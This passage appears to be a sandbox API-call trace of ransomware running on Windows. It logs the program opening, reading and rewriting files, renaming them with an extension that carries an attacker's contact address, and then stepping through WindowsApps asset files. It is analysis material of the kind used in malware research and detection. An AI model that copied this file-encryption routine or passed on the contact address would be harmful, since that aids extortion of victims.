nFileSizeLow=0xa12, dwReserved0=0x6d, dwReserved1=0x0, cFileName="WinFXList.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WINFXL~1.FIR")) returned 0x6d51c0 [0239.495] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0239.495] CreateFileW (lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\winfxlist.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x684 [0239.496] GetProcessHeap () returned 0x630000 [0239.496] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa21) returned 0x7316400 [0239.496] GetProcessHeap () returned 0x630000 [0239.496] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa21) returned 0x681d78 [0239.496] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.496] ReadFile (in: hFile=0x684, lpBuffer=0x7316400, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7316400*, lpNumberOfBytesRead=0x41fff0c*=0xa00, lpOverlapped=0x0) returned 1 [0239.509] GetProcessHeap () returned 0x630000 [0239.509] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x745ac08 [0239.509] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.510] WriteFile (in: hFile=0x684, lpBuffer=0x681d78*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x681d78*, lpNumberOfBytesWritten=0x41fff0c*=0xa00, lpOverlapped=0x0) returned 1 [0239.510] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.510] WriteFile (in: hFile=0x684, lpBuffer=0x682777*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x682777*, lpNumberOfBytesWritten=0x41fff0c*=0x20, lpOverlapped=0x0) returned 1 [0239.510] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.510] WriteFile (in: hFile=0x684, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x41fff0c*=0x4, lpOverlapped=0x0) returned 1 [0239.510] CloseHandle (hObject=0x684) returned 1 [0239.510] GetProcessHeap () returned 0x630000 [0239.510] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x681d78 | out: hHeap=0x630000) returned 1 [0239.510] GetProcessHeap () returned 0x630000 [0239.510] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7316400 | out: hHeap=0x630000) returned 1 [0239.510] GetProcessHeap () returned 0x630000 [0239.510] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x745ac08 | out: hHeap=0x630000) returned 1 [0239.510] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0239.511] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x41ffcc4 | out: lpFindFileData=0x41ffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe797d8f5, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe4e9367d, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0x54b4bf22, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xa36, dwReserved0=0xb307496, dwReserved1=0x73163f8, cFileName="WinFXList.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WINFXL~1.FIR")) returned 0x6d4e00 [0239.511] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0239.511] Sleep (dwMilliseconds=0x1) [0239.516] SysReAllocStringLen (in: pbstr=0x41fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSplashScreen.scale-200_contrast-white.png", len=0x80 | out: pbstr=0x41fff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSplashScreen.scale-200_contrast-white.png") returned 1 [0239.517] GetProcessHeap () returned 0x630000 [0239.517] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x513c) returned 0x6fe3bb0 [0239.517] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSplashScreen.scale-200_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twittersplashscreen.scale-200_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0239.517] Sleep (dwMilliseconds=0x1) [0241.504] SysReAllocStringLen (in: pbstr=0x41fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\MediumBlue.png", len=0x66 | out: pbstr=0x41fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\MediumBlue.png") returned 1 [0241.504] GetProcessHeap () returned 0x630000 [0241.504] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5318) returned 0x6fe3bb0 [0241.504] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\MediumBlue.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\mediumblue.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.505] Sleep (dwMilliseconds=0x1) [0241.516] SysReAllocStringLen (in: pbstr=0x41fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\StoreLogo.scale-100.png", len=0x7e | out: pbstr=0x41fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\StoreLogo.scale-100.png") returned 1 [0241.516] GetProcessHeap () returned 0x630000 [0241.516] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5314) returned 0x6fe3bb0 [0241.516] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\StoreLogo.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\manifestassets\\storelogo.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.517] Sleep (dwMilliseconds=0x1) [0241.532] SysReAllocStringLen (in: pbstr=0x41fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\Square71x71Logo.scale-100.png", len=0x84 | out: pbstr=0x41fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\Square71x71Logo.scale-100.png") returned 1 [0241.532] GetProcessHeap () returned 0x630000 [0241.532] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5310) returned 0x6fe3bb0 [0241.532] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\Square71x71Logo.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\manifestassets\\square71x71logo.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.533] Sleep (dwMilliseconds=0x1) [0241.547] SysReAllocStringLen (in: pbstr=0x41fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\Square44x44Logo.targetsize-48_altform-unplated.png", len=0x99 | out: pbstr=0x41fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\Square44x44Logo.targetsize-48_altform-unplated.png") returned 1 [0241.547] GetProcessHeap () returned 0x630000 [0241.547] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x530c) returned 0x6fe3bb0 [0241.547] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\Square44x44Logo.targetsize-48_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\manifestassets\\square44x44logo.targetsize-48_altform-unplated.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.548] Sleep (dwMilliseconds=0x1) [0241.563] SysReAllocStringLen (in: pbstr=0x41fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\Square44x44Logo.targetsize-48.png", len=0x88 | out: pbstr=0x41fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\Square44x44Logo.targetsize-48.png") returned 1 [0241.563] GetProcessHeap () returned 0x630000 [0241.563] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5308) returned 0x6fe3bb0 [0241.563] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\Square44x44Logo.targetsize-48.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\manifestassets\\square44x44logo.targetsize-48.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.565] Sleep (dwMilliseconds=0x1) [0241.578] SysReAllocStringLen (in: pbstr=0x41fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\Square44x44Logo.targetsize-256_altform-unplated.png", len=0x9a | out: pbstr=0x41fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\Square44x44Logo.targetsize-256_altform-unplated.png") returned 1 [0241.578] GetProcessHeap () returned 0x630000 [0241.578] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5304) returned 0x6fe3bb0 [0241.579] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\Square44x44Logo.targetsize-256_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\manifestassets\\square44x44logo.targetsize-256_altform-unplated.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.579] Sleep (dwMilliseconds=0x1) [0241.594] SysReAllocStringLen (in: pbstr=0x41fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\Square44x44Logo.targetsize-256.png", len=0x89 | out: pbstr=0x41fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\Square44x44Logo.targetsize-256.png") returned 1 [0241.594] GetProcessHeap () returned 0x630000 [0241.594] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5300) returned 0x6fe3bb0 [0241.594] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\Square44x44Logo.targetsize-256.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\manifestassets\\square44x44logo.targetsize-256.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.595] Sleep (dwMilliseconds=0x1) [0241.610] SysReAllocStringLen (in: pbstr=0x41fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\Square44x44Logo.targetsize-24_altform-unplated.png", len=0x99 | out: pbstr=0x41fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\Square44x44Logo.targetsize-24_altform-unplated.png") returned 1 [0241.610] GetProcessHeap () returned 0x630000 [0241.610] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x52fc) returned 0x6fe3bb0 [0241.610] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\Square44x44Logo.targetsize-24_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\manifestassets\\square44x44logo.targetsize-24_altform-unplated.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.611] Sleep (dwMilliseconds=0x1) [0241.625] SysReAllocStringLen (in: pbstr=0x41fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\Square44x44Logo.targetsize-24.png", len=0x88 | out: pbstr=0x41fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\Square44x44Logo.targetsize-24.png") returned 1 [0241.625] GetProcessHeap () returned 0x630000 [0241.626] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x52f8) returned 0x6fe3bb0 [0241.626] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\Square44x44Logo.targetsize-24.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\manifestassets\\square44x44logo.targetsize-24.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.626] Sleep (dwMilliseconds=0x1) [0241.641] SysReAllocStringLen (in: pbstr=0x41fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\Square44x44Logo.targetsize-16_altform-unplated.png", len=0x99 | out: pbstr=0x41fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\Square44x44Logo.targetsize-16_altform-unplated.png") returned 1 [0241.641] GetProcessHeap () returned 0x630000 [0241.641] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x52f4) returned 0x6fe3bb0 [0241.641] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\Square44x44Logo.targetsize-16_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\manifestassets\\square44x44logo.targetsize-16_altform-unplated.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.642] Sleep (dwMilliseconds=0x1) [0241.657] SysReAllocStringLen (in: pbstr=0x41fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\Square44x44Logo.targetsize-16.png", len=0x88 | out: pbstr=0x41fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\Square44x44Logo.targetsize-16.png") returned 1 [0241.657] GetProcessHeap () returned 0x630000 [0241.657] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x52f0) returned 0x6fe3bb0 [0241.657] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\Square44x44Logo.targetsize-16.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\manifestassets\\square44x44logo.targetsize-16.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.657] Sleep (dwMilliseconds=0x1) [0241.672] SysReAllocStringLen (in: pbstr=0x41fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\Square44x44Logo.scale-100.png", len=0x84 | out: pbstr=0x41fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\Square44x44Logo.scale-100.png") returned 1 [0241.672] GetProcessHeap () returned 0x630000 [0241.672] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x52ec) returned 0x6fe3bb0 [0241.672] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\Square44x44Logo.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\manifestassets\\square44x44logo.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.673] Sleep (dwMilliseconds=0x1) [0241.688] SysReAllocStringLen (in: pbstr=0x41fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\Square310x310Logo.scale-100.png", len=0x86 | out: pbstr=0x41fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\Square310x310Logo.scale-100.png") returned 1 [0241.688] GetProcessHeap () returned 0x630000 [0241.688] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x52e8) returned 0x6fe3bb0 [0241.688] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\Square310x310Logo.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\manifestassets\\square310x310logo.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.689] Sleep (dwMilliseconds=0x1) [0241.703] SysReAllocStringLen (in: pbstr=0x41fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\Square310x150Logo.scale-100.png", len=0x86 | out: pbstr=0x41fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\Square310x150Logo.scale-100.png") returned 1 [0241.703] GetProcessHeap () returned 0x630000 [0241.703] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x52e4) returned 0x6fe3bb0 [0241.704] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\Square310x150Logo.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\manifestassets\\square310x150logo.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.704] Sleep (dwMilliseconds=0x1) [0241.719] SysReAllocStringLen (in: pbstr=0x41fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\Square150x150Logo.scale-100.png", len=0x86 | out: pbstr=0x41fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\Square150x150Logo.scale-100.png") returned 1 [0241.719] GetProcessHeap () returned 0x630000 [0241.720] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x52e0) returned 0x6fe3bb0 [0241.720] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\Square150x150Logo.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\manifestassets\\square150x150logo.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.720] Sleep (dwMilliseconds=0x1) [0241.735] SysReAllocStringLen (in: pbstr=0x41fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\SplashScreen.scale-100.png", len=0x81 | out: pbstr=0x41fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\SplashScreen.scale-100.png") returned 1 [0241.735] GetProcessHeap () returned 0x630000 [0241.735] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x52dc) returned 0x6fe3bb0 [0241.735] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\SplashScreen.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\manifestassets\\splashscreen.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.736] Sleep (dwMilliseconds=0x1) [0241.750] SysReAllocStringLen (in: pbstr=0x41fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\Icon.targetsize-48.png", len=0x7d | out: pbstr=0x41fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\Icon.targetsize-48.png") returned 1 [0241.750] GetProcessHeap () returned 0x630000 [0241.751] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x52d8) returned 0x6fe3bb0 [0241.751] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\Icon.targetsize-48.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\manifestassets\\icon.targetsize-48.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.756] Sleep (dwMilliseconds=0x1) [0241.766] SysReAllocStringLen (in: pbstr=0x41fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\resources.pri", len=0x5e | out: pbstr=0x41fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\resources.pri") returned 1 [0241.766] GetProcessHeap () returned 0x630000 [0241.766] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5344) returned 0x6fe3bb0 [0241.767] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\resources.pri" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\resources.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.768] Sleep (dwMilliseconds=0x1) [0241.785] SysReAllocStringLen (in: pbstr=0x41fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\default.html", len=0x5f | out: pbstr=0x41fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\default.html") returned 1 [0241.785] GetProcessHeap () returned 0x630000 [0241.785] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, 